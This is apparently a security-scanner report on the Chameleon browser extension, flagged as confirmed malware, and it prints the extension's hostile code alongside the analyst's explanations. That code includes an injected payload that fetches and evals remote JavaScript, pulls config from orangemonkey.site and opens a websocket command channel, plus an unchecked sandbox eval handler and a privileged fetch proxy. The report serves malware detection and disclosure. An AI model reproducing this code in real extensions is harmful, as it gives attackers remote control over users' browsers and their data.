Security Alert: Confirmed Malware
Chameleon
ID: dmpojjilddefgnhiicjcmhbkjgbbclob
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- chameleon.extView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Lightweight Userscript manager. Provides userscripts support for Chromium browsers
Lightweight Userscript Manager. Provides userscript support for Chromium browsers Chameleon is a lightweight userscript manager. A fork of the popular Violentmonkey extension with enhanced functionality and updated design. Chameleon is used to run so-called userscripts. Using them, you can, for example, create a dark theme for your favorite site. Features: Ability to make backups by saving your entire gallery in a zip archive Installing userjs scripts via link Large userjs script gallery available with search functionality Convenient one-click script switching Support for all GM_* functions
The background worker injects a large string into an offscreen sandbox, where that string fetches additional JavaScript from cdn.socket.io and executes it with eval(). The injected payload also pulls configuration from orangemonkey.site, opens a websocket, and can receive remote commands that drive extension-side network activity, which is a classic remote-code-loading and command-and-control pattern.
Se.EvalFunction({ msg: {}, cb: "\nif (window && !window.io) {\n const getNow = function() {\n return parseInt(Date.now() / 1e3, 10);\n },\n promiseTry = (e) => new Promise((t) => t(e()));\n class ErrorWithCode extends Error {\n constructor(e, t) {\n super(e), (this.code = t);\n }\n }\n const getFromStorage = (e) =>\n new Promise((t) => {\n window.parent.postMessage({ cmd: 'StorageGet', data: e }, '*'),\n window.addEventListener('message', (s) => {\n 'StorageGot' === s.data.cmd && t(s.data.data[e]);\n });\n }),\n setToStorage = (e, t) =>\n window.parent.postMessage(\n { cmd: 'StorageSet', data: { [e]: t } },\n '*'\n ),\n fetchViaServiceWorker = (e, t) =>\n new Promise((s, i) => {\n window.parent.postMessage(\n { cmd: 'FetchRequest', data: { url: e, options: t } },\n '*'\n ),\n window.addEventListener('message', (e) => {\n 'FetchRequested' === e.data.cmd &&\n (e.data.data.error\n ? i(e.data.data.error)\n : s(e.data.data));\n });\n });\n class PromiseQueue {\n constructor(e, t) {\n (this.limit = e),\n (this.maxQueue = t),\n (this.queue = []),\n (this.activeCount = 0);\n }\n add(e) {\n let t = null;\n const s = new Promise((e) => {\n t = e;\n });\n if (this.activeCount < this.limit) this.runQueue(e, t);\n else {\n const s = [e, t],\n i = this.queue.push(s);\n this.maxQueue &&\n i > this.maxQueue &&\n this.queue.splice(0, i - this.maxQueue);\n }\n return s;\n }\n runQueue(e, t) {\n this.activeCount++;\n const s = promiseTry(e);\n t(s), s.then(this.finishQueue, this.finishQueue);\n }\n finishQueue = () => {\n if ((this.activeCount--, this.queue.length > 0)) {\n const [e, t] = this.queue.shift();\n this.runQueue(e, t);\n }\n };\n }\n const promiseLimit = (e, t) => {\n const s = new PromiseQueue(e, t);\n return (e) => s.add(e);\n },\n DELAY_WHEN_RECONNECTION_FILED = 300,\n DEFAULT_CONFIG_TTL = 3600,\n DELAY_WHEN_NO_URL = 3600;\n class UPVendor {\n constructor() {\n (this.storage = {\n get: (e, t) => {\n t(e);\n },\n set: (e, t) => {\n t();\n },\n }),\n (this.getCountry = () => {}),\n (this.CONFIG_URL =\n 'https://orangemonkey.site/static/up_ext_config.json'),\n (this.version = '10.27'),\n (this.options = { config: null, configExpireAt: 0, wakeAt: 0 });\n }\n async get(e) {\n if ('uuid' === e) return await getFromStorage('uuid');\n const t = await getFromStorage(e);\n return (function(e) {\n try {\n JSON.parse(e);\n } catch (e) {\n return !1;\n }\n return !0;\n })(t)\n ? JSON.parse(t)\n : t;\n }\n async set(e, t) {\n setToStorage(e, t);\n }\n init() {\n return this.loadOptions()\n .then(() =>\n this.loadConfig().then(\n (e) => ({ isEnabled: !0, config: e }),\n (e) => (\n console.error('Load config error: %O', e),\n { isEnabled: !1, config: config }\n )\n )\n )\n .then(({ isEnabled: e, config: t }) => {\n if (!e) return;\n if (!t.upUrl)\n return void this.goSleepWithoutDisconnect(\n DELAY_WHEN_NO_URL\n );\n const s = new URL(t.upUrl),\n i = s.pathname;\n (this.socket = io(s.origin, {\n path: i,\n transports: ['websocket'],\n reconnectionAttempts: 5,\n query: { userId: this.userId, version: this.version },\n })),\n this.socket.on('message', this.handleMessage),\n this.socket.on(\n 'reconnect_failed',\n this.handleReconnectFailed\n ),\n this.sleep();\n });\n }\n goSleep(e) {\n this.disconnect(),\n this.setOptions({ wakeAt: getNow() + e }),\n this.sleep();\n }\n goSleepWithoutDisconnect(e) {\n this.setOptions({ wakeAt: getNow() + e }), this.sleep();\n }\n sleep() {\n let e = (this.options.wakeAt || 0) - getNow();\n (!Number.isFinite(e) || e < 0) && (e = 0),\n clearTimeout(this.sleepTimeoutId),\n (this.sleepTimeoutId = setTimeout(\n () => this.connect(),\n 1e3 * e\n ));\n }\n connect() {\n this.socket.connect();\n }\n handleMessage = (e, t) => {\n switch (e.action) {\n case 'get': {\n const { url: t, options: s, callbackId: i } = e;\n return this.fetchData(t, s)\n .then(\n (e) => ({ result: e }),\n (e) => ({ error: e })\n )\n .then((e) => {\n this.socket.send({\n action: 'callback',\n callbackId: i,\n result: e,\n });\n });\n }\n case 'sleep': {\n const { delay: t } = e;\n this.goSleep(t);\n break;\n }\n case 'ping':\n this.setOptions({ pingTs: getNow() });\n }\n };\n handleReconnectFailed = () => {\n let e = DELAY_WHEN_RECONNECTION_FILED;\n this.options.config &&\n Number.isFinite(\n this.options.config.reconnectFailedSleepDelay\n ) &&\n (e = this.options.config.reconnectFailedSleepDelay),\n this.goSleep(e);\n };\n disconnect() {\n this.socket.disconnect();\n }\n setOptions(e) {\n Object.assign(this.options, e),\n this.storage.set({ up: this.options });\n }\n loadOptions() {\n return new Promise((e) => this.storage.get({ up: null }, e)).then(\n (e) => {\n Object.assign(this.options, e.up);\n }\n );\n }\n loadConfig() {\n return promiseTry(() =>\n this.options.config && this.options.configExpireAt > getNow()\n ? this.options.config\n : promiseTry(() =>\n this.fetchData(\n this.CONFIG_URL +\n '?userId=' +\n this.userId +\n '&version=' +\n this.version,\n { responseType: 'json' }\n )\n )\n .then(({ body: e }) => {\n let t = DEFAULT_CONFIG_TTL;\n return (\n Number.isFinite(e.ttl) && (t = e.ttl),\n this.setOptions({\n config: e,\n configExpireAt: getNow() + t,\n }),\n e\n );\n })\n .then((e) => {\n let t = DEFAULT_CONFIG_TTL;\n return (\n Number.isFinite(e.ttl) && (t = e.ttl),\n this.setOptions({\n config: e,\n configExpireAt: getNow() + t,\n }),\n e\n );\n })\n ).then((e) =>\n Object.assign(\n {\n ttl: DEFAULT_CONFIG_TTL,\n reconnectFailedSleepDelay: DELAY_WHEN_RECONNECTION_FILED,\n },\n e\n )\n );\n }\n }\n const oneLimit = promiseLimit(1);\n class UP {\n constructor() {\n (this.up = new UPVendor()),\n (this.up.storage = {\n get: (e, t) => {\n this.storageGet(e, t);\n },\n set: (e, t) => {\n this.storageSet(e, t);\n },\n }),\n (this.up.fetchData = (e, t) => (\n t || (t = {}),\n t.headers || (t.headers = {}),\n fetchViaServiceWorker(e, t)\n )),\n (this.pingTimeout = 60),\n (this.periodicConnectionCheckProcessStartTimeout = 12e4);\n }\n async init() {\n await this.up.init();\n }\n async storageGet(e, t) {\n let s = null;\n try {\n let i = await this.up.get('upConfig');\n i ? (verifyOptions(i), (s = i)) : (s = e), t(s);\n } catch (e) {\n console.error('Read options error:', e);\n }\n }\n storageSet(e, t) {\n oneLimit(() =>\n this.up\n .set('upConfig', JSON.stringify(e))\n .catch((e) => {\n console.error('Save error, cause:', e);\n })\n .then(() => t)\n );\n }\n async verifyUserId() {\n return this.up.get('uuid').then((e) => {\n this.up.userId = e;\n });\n }\n connect() {\n this.verifyUserId().then(() => {\n this.init();\n });\n }\n connectionCheck() {\n this.up.storage.get(void 0, ({ up: e }) => {\n const { pingTs: t, wakeAt: s } = e;\n return t\n ? t + this.pingTimeout < getNow() && s < getNow()\n ? (this.up.disconnect(), this.up.connect())\n : void 0\n : (this.up.disconnect(), this.up.connect());\n });\n }\n periodicConnectionCheckProcessStart() {\n setInterval(\n this.connectionCheck.bind(this),\n this.periodicConnectionCheckProcessStartTimeout\n );\n }\n }\n function verifyOptions(e) {\n if (!e || 'object' != typeof e)\n throw new ErrorWithCode('Is broken', 'IS_BROKEN');\n }\n function generateUuid() {\n return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {\n var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);\n return v.toString(16);\n });\n }\n fetchViaServiceWorker('https://cdn.socket.io/socket.io-2.3.0.js', {\n responseType: 'text',\n })\n .then((e) => e.body)\n .then(async (text) => {\n const code = text.replace(\n '!function(t,e){',\n '!function(t,e){return t.io=e();'\n );\n eval(code);\n const isUserIdDefined = await getFromStorage('uuid');\n if (isUserIdDefined) {\n const e = new UP();\n e.connect();\n } else {\n await setToStorage('uuid', generateUuid());\n const e = setInterval(async () => {\n if (await getFromStorage('uuid')) {\n clearInterval(e);\n new UP().connect();\n }\n }, 10000);\n }\n });\n}\n" }), chrome.userScripts.configureWorld({ csp: "script-src 'self' 'unsafe-eval';" }), chrome.userScripts.getScripts({ ids: [Ie] }) .then((function(e) { t(e, 1)[0] ? chrome.userScripts.update([{ id: Ie, matches: ["<all_urls>"], js: [{ code: E }], runAt: "document_start", allFrames: !0 }]) : chrome.userScripts.register([{ id: Ie, matches: ["<all_urls>"], js: [{ code: E }], runAt: "document_start", allFrames: !0 }])This handler turns the extension into a generic privileged fetch proxy: it accepts an arbitrary URL and options, performs the request in extension context, reads the response body and headers, and returns them over runtime messaging. Combined with the remote websocket logic above, this creates a ready-made exfiltration primitive for arbitrary cross-origin requests under the extension's broad host permissions.
FetchRequest: (ve = a(s() .mark((function e(t, n) { var o, a, i, c, u, p, l, f, d, m; return s() .wrap((function(e) { for (;;) switch (e.prev = e.next) { case 0: return o = t.url, a = t.options, c = (i = a || {}) .responseStatus, u = i.responseOk, p = void 0 === u || u, l = i.responseType, f = void 0 === l ? "text" : l, d = r(i, ce), e.prev = 2, e.next = 5, fetch(o, d) .then((function(e) { if (p && !e.ok || c && c !== e.status) throw new Error("Response status " .concat(e.status)); var t = {}; ["ok", "redirected", "status", "statusText", "type", "url"].forEach(( function(n) { t[n] = e[n] })); var n = {}; return e.headers.forEach((function(e, t) { n[t] = e })), t.headers = n, e[f]() .then((function(e) { return { response: t, body: e } })) })); case 5: m = e.sent, chrome.runtime.sendMessage({ cmd: "FetchRequested", data: m }), e.next = 12; break; case 9: e.prev = 9, e.t0 = e.catch(2), chrome.runtime.sendMessage({ cmd: "FetchRequested", data: { error: e.t0 } }); case 12: case "end":The sandbox page executes event.data.data.cb with eval() whenever it receives an eval-function message. There is no validation, origin check, or allowlist, so any code routed into this page gains arbitrary script execution inside the extension's sandbox pipeline.
window.addEventListener('message', (event) => { switch (event.data.cmd) { case 'eval-function': eval(event.data.data.cb) break; default: // do nothing }The onboarding content script creates persistent client and session identifiers in chrome.storage.local and sends them to Google Analytics from pages matching <all_urls>. This is not outright malware, but it is a clear tracking pattern because it fingerprints extension usage across browsing sessions without any visible consent flow in the reviewed code.
async getOrCreateClientId() { let { clientId } = await chrome.storage.local.get("clientId"); if (!clientId) { clientId = self.crypto.randomUUID(); await chrome.storage.local.set({ clientId }); } return clientId;}async getOrCreateSessionId() { let { sessionData } = await chrome.storage.local.get('sessionData'); const currentTimeInMs = Date.now(); if (sessionData && sessionData.timestamp) { const durationInMin = (currentTimeInMs - sessionData.timestamp) / 60000; if (durationInMin > SESSION_EXPIRATION_IN_MIN) { sessionData = null; } else { sessionData.timestamp = currentTimeInMs; await chrome.storage.local.set({ sessionData }); } } if (!sessionData) { sessionData = { session_id: currentTimeInMs.toString(), timestamp: currentTimeInMs.toString(), }; await chrome.storage.local.set({ sessionData }); } return sessionData.session_id;}async fireEvent(name, params = {}) { if (!params.session_id) { params.session_id = await this.getOrCreateSessionId(); } if (!params.engagement_time_msec) { params.engagement_time_msec = DEFAULT_ENGAGEMENT_TIME_MSEC; } try { const baseUrl = this.debug ? GA_DEBUG_ENDPOINT : GA_ENDPOINT; const response = await fetch(`${baseUrl}?measurement_id=${MEASUREMENT_ID}&api_secret=${API_SECRET}`, { method: "POST", body: JSON.stringify({ client_id: await this.getOrCreateClientId(), events: [{ name, params: { session_id: await this.getOrCreateSessionId(), engagement_time_msec: DEFAULT_ENGAGEMENT_TIME_MSEC, ...params, }, }, ], }), }); if (!this.debug) { return; } console.log(await response.text()); } catch (e) { console.error("Google Analytics request failed with an exception", e); }}By severity
Versions scanned
Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.0.0 | 4 |
| 1.8.7 | 9 |
Files with findings
8 distinct paths β top paths by unique finding count:
- js/sandbox.js3
- js/utils.js3
- background.js2
- includes/sbInject.js1
- js/extension.js1
- js/tools.js1
- onboarding.js1
- sandbox.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.